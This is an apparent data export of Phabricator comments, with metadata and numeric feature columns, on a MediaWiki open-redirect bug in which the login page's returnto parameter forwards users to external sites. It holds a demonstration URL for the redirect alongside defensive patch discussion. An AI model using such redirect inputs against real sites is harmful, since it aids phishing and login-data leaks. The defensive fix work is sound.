Patch for wmf.16 is `/srv/patches/1.28.0-wmf.16/core/01-T109140.patch` and touch the no more existing file `includes/specials/pre-authmanager/SpecialUserlogin.php`.  Looks like the check has to be moved to `includes/specials/helpers/LoginHelper.php`:

```
lang=php, name=includes/specials/helpers/LoginHelper.php
        // Allow modification of redirect behavior
        Hooks::run( 'PostLoginRedirect', [ &$returnTo, &$returnToQuery, &$type ] );

        $returnToTitle = Title::newFromText( $returnTo ) ?:  Title::newMainPage();
```

That needs the extra condition `$returnToTitle->isExternal()` to send back to the main page.

I do not want to mess up with login, I am long outdated on MediaWiki code development. Also looks like T122209 which is handling returnto parameter for Search could benefit from a similar fix.   Ideally we would have some kind of helper function to handle titles passed to `returnto` parameters and automagically fallback to MainPage when the URL turns out to be external.

",,,1472112547,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,1.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,14.0,1.0,6.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,4.308641975308642,0.6172839506172839,"wmf.16 is on group0 and group1 now.  The external interwiki redirect is present on both wmf.15 (eg enwiki) and wmf.16 (eg mediawikiwiki).

URL
URL

Patch for wmf.16 is CODE and touch the no more existing file CODE.  Looks like the check has to be moved to CODE:

``CODE`CODE$returnToTitle->isExternal()CODEreturnto` parameters and automagically fallback to MainPage when the URL turns out to be external.

"
715982,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Same issue in 1.28.0-wmf.15:
```
$ git apply --check --3way /srv/patches/1.28.0-wmf.15/core/01-T109140.patch
error: includes/specials/pre-authmanager/SpecialUserlogin.php: does not exist in index
```

So I guess when we have prepared wmf.15 last week, the patch got skipped :(",,,1471961750,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2333333333333334,0.8666666666666667,"Same issue in 1.28.0-wmf.15:
``CODE``

So I guess when we have prepared wmf.15 last week, the patch got skipped :("
715925,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Hmm, the patch doesn't seem to be live in production right now, though? Visiting https://en.wikipedia.org/wiki/Special:UserLogin?returnto=google:foo redirects me to Google. And I think someone said somewhere that we want to review the patch publicly in Gerrit.",,,1471958433,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,15.0,15.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,17.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,10.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.951219512195122,0.8292682926829268,"Hmm, the patch doesn't seem to be live in production right now, though? Visiting URL redirects me to Google. And I think someone said somewhere that we want to review the patch publicly in Gerrit."
715922,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Yes, that part of the patch (for the removed old special page) is no longer needed. Everything else still is.",,,1471958276,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0.0,4.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.6,0.88,"Yes, that part of the patch (for the removed old special page) is no longer needed. Everything else still is."
715887,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"The includes/specials/pre-authmanager has been removed on August 9th via 854a462dc0aef59e1c26c057792b8a9214449af5

So I am tempted to assume that `/srv/patches/1.28.0-wmf.16/core/01-T109140.patch` is no more needed?",,,1471955207,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,17.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,17.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.966666666666667,0.9666666666666667,"The includes/specials/pre-authmanager has been removed on August 9th via 854a462dc0aef59e1c26c057792b8a9214449af5

So I am tempted to assume that CODE is no more needed?"
715879,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"The patch on tin `/srv/patches/1.28.0-wmf.16/core/01-T109140.patch` no more apply since the special page apparently got removed:

```
hashar@tin:/srv/mediawiki-staging/php-1.28.0-wmf.16$ git apply --check --3way /srv/patches/1.28.0-wmf.16/core/01-T109140.patch
error: includes/specials/pre-authmanager/SpecialUserlogin.php: does not exist in index
```

",,,1471954556,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.4782608695652173,0.782608695652174,"The patch on tin CODE no more apply since the special page apparently got removed:

``CODE``

"
706708,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Rebased patch: {F4339094} (applies on d181ba1a9b00e7b7e418b82e0b0def3cc184e48d).

(I applied @bawolff F3328788 on top of 8aa6c9f43e9b54e4157a5feee42229a9a48b1764, then rebased. Most conflicts looked scary but were actually simple. One interesting one was that the change in SpecialChangePassword now needed to be applied in SpecialChangeCredentials instead.)

Also included @tgr's fix for AuthManager (slightly modified).

This needs to be tested carefully again, since I only fixed the obvious merge errors, and only checked the functionality briefly.",,,1470408203,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,57,True,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,12.0,11.0,0.0,2.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,13.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,11.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.511111111111111,0.7666666666666667,"Rebased patch: {F4339094} (applies on d181ba1a9b00e7b7e418b82e0b0def3cc184e48d).

(I appliedSCREEN_NAME F3328788 on top of 8aa6c9f43e9b54e4157a5feee42229a9a48b1764, then rebased. Most conflicts looked scary but were actually simple. One interesting one was that the change in SpecialChangePassword now needed to be applied in SpecialChangeCredentials instead.)

Also includedSCREEN_NAME's fix for AuthManager (slightly modified).

This needs to be tested carefully again, since I only fixed the obvious merge errors, and only checked the functionality briefly."
677880,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,">>! In T109140#2372245, @Tgr wrote:
> AuthManager version: {F4150736}

Code-Review: +1",,,1465581627,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8888888888888888,"QUOTE
QUOTE

Code-Review: +1"
677804,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"AuthManager version: {F4150736}

Apologies for missing this earlier. I glanced at the deployed patch but the commit summary talks about a `&redirectto=` parameter so I assumed it wasn't handled by the login page.",,,1465577306,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,49,True,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,15.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.275,0.9,"AuthManager version: {F4150736}

Apologies for missing this earlier. I glanced at the deployed patch but the commit summary talks about a CODE parameter so I assumed it wasn't handled by the login page."
624787,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Deployed lego's initial patch for Special:Userlogin,

19:17 csteipp: deployed initial patch for T109140

Not sure if we should wait for a tarball release before publicly doing the splash-screen patch.",,,1457378366,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.461538461538462,0.8205128205128205,"Deployed lego's initial patch for Special:Userlogin,

19:17 csteipp: deployed initial patch for T109140

Not sure if we should wait for a tarball release before publicly doing the splash-screen patch."
606944,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Version 2 of this patch (per MatmaRex's comments):
{F3328566}

I agree that this is not something I'd prefer to be a security patch.

-----

version 2 had a small mistake. Here is version 3: {F3328788}",,,1455061187,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,14.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.42,0.76,"Version 2 of this patch (per MatmaRex's comments):
{F3328566}

I agree that this is not something I'd prefer to be a security patch.

-----

version 2 had a small mistake. Here is version 3: {F3328788}"
606931,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Version 2 of this patch (per MatmaRex's comments):
{F3328566}

I agree that this is not something I'd prefer to be a security patch.

-----

version 2 had a small mistake. Here is version 3: {F3328759}",,,1455060881,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,14.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.42,0.76,"Version 2 of this patch (per MatmaRex's comments):
{F3328566}

I agree that this is not something I'd prefer to be a security patch.

-----

version 2 had a small mistake. Here is version 3: {F3328759}"
606882,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Version 2 of this patch (per MatmaRex's comments):
{F3328566}

I agree that this is not something I'd prefer to be a security patch.",,,1455058010,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.90625,"Version 2 of this patch (per MatmaRex's comments):
{F3328566}

I agree that this is not something I'd prefer to be a security patch."
606762,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Doing the full splash-screen as a security patch makes me a little uncomfortable, but I think the direction generally looks good.

Should we deploy lego's original patch to stop external interwiki links from redirecting as a security patch, then do the splash redirect as a public followup?",,,1455050809,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,4.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,5.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,4.454545454545454,0.7818181818181819,"Doing the full splash-screen as a security patch makes me a little uncomfortable, but I think the direction generally looks good.

Should we deploy lego's original patch to stop external interwiki links from redirecting as a security patch, then do the splash redirect as a public followup?"
605199,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"I have a patch primarily for T122209, but it also addresses this bug.

{F3320004}

It bans external interwiki links in link based returnto parameters. For direct redirects, it puts a splash page before fully redirecting the user. (So its slightly different from Lego's patch).

I think people are depending on the redirect behaviour for Special:Search, hence the splash page. In the case of returnto, I think either the splash page, or just banning entirely (like Lego's patch), is reasonable.",,,1454851275,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0.0,0.0,1.5,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,2.5,0.5,5.5,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,2.0,9.5,0.0,2.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,8.0,4.0,0.0,0.0,0.0,4.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,4.019230769230769,0.7884615384615384,"I have a patch primarily for T122209, but it also addresses this bug.

{F3320004}

It bans external interwiki links in link based returnto parameters. For direct redirects, it puts a splash page before fully redirecting the user. (So its slightly different from Lego's patch).

I think people are depending on the redirect behaviour for Special:Search, hence the splash page. In the case of returnto, I think either the splash page, or just banning entirely (like Lego's patch), is reasonable."
582948,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,At the very least I think this should only redirect for interwikis with iw_local = true.,,,1450818664,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,24,True,0.0,0.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.294117647058823,1.0,At the very least I think this should only redirect for interwikis with iw_local = true.
582786,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,See also {T122209}.,,,1450800358,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,See also {T122209}.
513998,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"My only concern with this would be if there are any remaining browsers that preserve the HTTP method with 302 response codes. IE will only do so with non-POST/HEAD methods like DELETE and PUT, so there's nothing to worry about there.

But if a browser does treat 302 like 307, which it might since technically it's standards-compliant, it may try and re-POST the user's login data to whatever the interwiki link destination is.

My recommendation would be that we detect if the connection is HTTP/1.1, and if so explicitly use a 303 redirect to ensure login data is not leaked to the site (even if most browsers do not have this issue).",,,1440486487,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,7,True,0.5,0.0,0.0,0.5,1.5,6.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,5.5,11.5,0.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,1.5,0.0,7.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,11.5,0.5,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,4.5,4.0,6.0,5.0,2.5,7.5,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.5,11.5,2.0,0.0,0.0,0.0,3.5,0.0,1.5,1.0,0.0,0.5,0.0,0.5,0.0,3.9033143107989465,0.7850087796312555,"My only concern with this would be if there are any remaining browsers that preserve the HTTP method with 302 response codes. IE will only do so with non-POST/HEAD methods like DELETE and PUT, so there's nothing to worry about there.

But if a browser does treat 302 like 307, which it might since technically it's standards-compliant, it may try and re-POST the user's login data to whatever the interwiki link destination is.

My recommendation would be that we detect if the connection is HTTP/1.1, and if so explicitly use a 303 redirect to ensure login data is not leaked to the site (even if most browsers do not have this issue)."
513991,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Hmm, I wasn't aware of that. I was mainly thinking in the context of T108557 - UrlShortener has a whitelist of accepted domains, but that becomes less useful if MW will just redirect you to external sites anyways (albeit a small whitelisted list of domains).",,,1440485721,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,4.115384615384615,0.8076923076923077,"Hmm, I wasn't aware of that. I was mainly thinking in the context of T108557 - UrlShortener has a whitelist of accepted domains, but that becomes less useful if MW will just redirect you to external sites anyways (albeit a small whitelisted list of domains)."
513985,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Is redirecting to external sites considered a security issue?

Its well known that Special:Search/google:foo will do the same thing (To the point where our old bugzilla install relied on this behaviour)",,,1440483996,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,12.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,7.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.219512195121951,0.9512195121951219,"Is redirecting to external sites considered a security issue?

Its well known that Special:Search/google:foo will do the same thing (To the point where our old bugzilla install relied on this behaviour)"
508748,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,{F1497060},,,1439593678,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,{F1497060}
109107,Beta: formatting toolbar is visible on the login dialog,"Visit http://en.m.wikipedia.beta.wmflabs.org/wiki/New_page?mobileaction=beta#/editor/0 and you'll see the formatting toolbar at the bottom of the screen.

